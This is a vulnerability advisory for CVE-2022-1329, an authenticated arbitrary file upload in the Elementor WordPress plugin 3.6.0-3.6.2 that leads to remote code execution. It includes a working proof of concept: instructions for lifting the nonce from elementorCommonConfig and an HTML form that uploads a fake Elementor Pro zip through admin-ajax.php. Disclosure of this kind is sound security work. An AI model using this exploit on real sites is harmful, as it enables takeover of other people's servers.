Elementor 3.6.0-3.6.2 – Subscriber+ Arbitrary File Upload | CVE 2022-1329

Description

The plugin is lacking capability check in a function hooked to admin_init introduced in v3.6.0, and only relying on a CSRF check. As the nonce is available to any authenticated users, they could call it and upload a malicious zip archive containing arbitrary files via a subsequent call, leading to RCE

Proof of Concept

To get the nonce, login as any user (such as subscriber) and check the source for elementorCommonConfig. The file to upload should be a fake Elementor Pro plugin zip

<body>
<form action="https://example.com/wp-admin/admin-ajax.php" enctype="multipart/form-data" method="POST">
<input type="text" name="_nonce" value="nonce retrieved from source (check elementorCommonConfig) of the dashboard when logged in as any user">
<input type="file" name="fileToUpload">
<input type="hidden" name="action" value="elementor_upload_and_install_pro">
<input type="submit" value="Submit">
</form>
</body>